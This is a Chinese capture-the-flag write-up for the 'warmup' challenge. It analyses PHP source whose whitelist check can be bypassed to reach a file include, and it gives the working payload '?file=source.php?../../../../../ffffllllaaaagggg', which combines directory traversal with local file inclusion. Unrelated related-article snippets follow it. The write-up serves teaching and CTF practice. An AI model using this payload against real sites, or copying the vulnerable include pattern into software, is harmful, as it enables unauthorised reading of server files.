warmup

embedded/2024/10/31 2:08:32/

首页只有一个笑脸,没有什么有效信息,

查看源代码发现,source.php
在这里插入图片描述
访问source.php,显而易见,php代码审计。
在这里插入图片描述

php"> <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){   //设立白名单,source.php与hint.php$whitelist =  ["source"=>"source.php","hint"=>"hint.php"];//$page的值为file传入的值,如果$page没有值或者$page的值不为字符串则输出you can't see it。返回Flaseif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}//如果$page的值在白名单中则返回Tureif (in_array($page, $whitelist)) {return true;}//下面的代码单独举例说明。$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}//请求方法为REQUEST请求参数为file并且file的值为字符串,若是通过了emmm类中的checkFile方法则包含file上传值的文件。if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?> 
php">//举例
//mb_strpos()函数,用于查找字符串中某个子字符串第一次出现位置的函数。
//如果找到了字符串,返回其第一次出现的位置(从 0 开始计数)。
//如果未找到子字符串,返回 false。
$str = "Hello, 你好";
$pos = mb_strpos($str, "你好");
if ($pos !== false) {echo "子字符串第一次出现的位置: $pos"; // 输出: 子字符串第一次出现的位置: 7
} else {echo "未找到子字符串";
}//mb_substr()用于提取多字节字符串的子字符串的函数
// 示例字符串
$str = "Hello, 你好";
// 从位置 7 开始提取,长度为 2
$substring = mb_substr($str, 7, 2);
echo $substring; // 输出: 你好
// 从位置 0 开始提取,直到末尾
$substring = mb_substr($str, 0);
echo $substring; // 输出: Hello, 你好
// 从倒数第 5 个字符开始提取
$substring = mb_substr($str, -5);
echo $substring; // 输出: 你好
php">//刨析代码!
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//mb_strpos($page . '?', '?')函数file的值,赋值给$page并且在其后拼接?【例如:file=flag,则$page=flag.php】最后返回第一个?出现的位置暂且令返回的值为index。//紧接着执行mb_substr($page,0,index)函数。此函数下从第0个位置提取字符直到第index的位置截至。//最后将提取出来的字符串赋值给$_page。如果$_page的值在白名单中则返回True。if (in_array($_page, $whitelist)) {return true;}//举例:若file=	flag将flie的值传给$page=flagmb_strpos($page . '?', '?')此函数下拼接?在返回第一个问号出现的位置,$page=flag?返回的值为4。。mb_substr($page,0,4)提取$page中从0开的到第四个字符也就是flag。而flag不在白名单中,所以不会进入if (in_array($_page, $whitelist)) {return true}
php">//这段代码与上面位唯一的区别在于对参数的值进行了url解码,并无其它区别。$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}

wirteup:

跟据上面刨析代码时的例子,可以想到,此题的关键就是如何让下面的函数执行完毕后在白名单中。

php">mb_substr($_page,0,mb_strpos($_page . '?', '?'));
那只能利用本体给出的白名单source.php与hint.php绕过。?file=source.php?这样,mb_substr()函数返回的值为source.php在白名单中可以返回Ture。没有结束因为包含source.php毫无作用我们本来就可以访问它,这里只是借助白名单绕过。

访问hint.php,告诉我们flag的位置了,那就试着访问。
在这里插入图片描述
构造payload

php">?file=source.php?ffffllllaaaagggg
发现并没有回显,说明至少我们绕过了,没有值应该是没有访问到这个文件,说明ffffllllaaaagggg与source.php并不在一个目录下可能。就需要用到目录穿越。
?file=source.php?../ffffllllaaaagggg
?file=source.php?../../ffffllllaaaagggg
.
.
.
?file=source.php?../../../../../ffffllllaaaagggg

成功
在这里插入图片描述


http://www.ppmy.cn/embedded/133769.html

相关文章

大模型,多模态大模型面试【LoRA,分类,动静态数据类型,DDPM,ControlNet,IP-Adapter, Stable Diffusion】

大模型&#xff0c;多模态大模型面试【LoRA&#xff0c;分类&#xff0c;动静态数据类型&#xff0c;DDPM&#xff0c;ControlNet&#xff0c;IP-Adapter, Stable Diffusion】 问题一&#xff1a;LoRA是用在节省资源的场景下&#xff0c;那么LoRA具体是节省了内存带宽还是显存呢…

一小时速通JavaScript模块化,涵盖CommonJS与ES6模块化

学习源码可以看我的个人前端学习笔记 (github.com):qdxzw/frontlearningNotes 觉得有帮助的同学&#xff0c;可以点心心支持一下哈&#xff08;笔记是根据b站尚硅谷的前端讲师【张天禹老师】整理的&#xff0c;用于自己复盘&#xff0c;有需要学习的可以去b站学习原版视频&…

MySQL主从复制、读写分离

目录 一、MySQL主从复制概述 1.MySQL主从复制的概念 2.MySQL主从复制工作原理 2.1MySQL主从复制中的日志与线程 2.2MySQL的复制类型 3.MySQL主从复制延迟的原因及解决方法 4.MySQL的同步方式 4.1异步复制 4.2同步复制 4.3半同步复制 4.4增强半同步复制 4.5总…

使用Go构建以太坊

本篇内容是根据2021年5月份#181 Building for Ethereum in Go音频录制内容的整理与翻译 在这期节目中&#xff0c;主持人和两位嘉宾将讨论如何使用 Go 构建区块链。Prysmatic Labs&#xff08;以太坊网络升级背后的公司&#xff09;的两位联合创始人参与了节目。Raul Jordan 和…

Java 代理模式详解

如果目标对象实现了接口&#xff0c;则默认采用 JDK 动态代理&#xff0c;否则采用 CGLIB 动态代理。 代理模式的定义 代理模式是一种设计模式&#xff0c;它为其他对象提供一种代理&#xff0c;以控制对这个对象的访问。代理对象可以在客户端和目标对象之间起到中介的作用&…

基于uniapp微信小程序的宠物救助宠物领养系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…

【计网】网络协议栈学习总结 --- 浏览器上输入网址域名后点击回车,到底发生了什么?

未来的路不会比过去更笔直&#xff0c;更平坦&#xff0c; 但是我并不恐惧&#xff0c; 我眼前还闪动着道路前方野百合和野蔷薇的影子。 --- 季羡林 《八十抒怀》--- 浏览器上输入URL后回车&#xff0c;到底发生了什么&#xff1f; 1 前言2 解析URL形成http请求3 DNS域名解…

60V恒流IC SL8443B内置功率MOS 支持2.5A电流 降压LED恒流驱动芯片

一、概述 SL8443B是一款高性能的LED恒流驱动芯片&#xff0c;具有60V的耐压能力&#xff0c;适用于高电压应用场景。它内置了5A&#xff08;或说5V&#xff0c;根据上下文理解为功率等级&#xff09;的功率MOS&#xff0c;可以减少外部元件数量&#xff0c;降低成本&#xff0…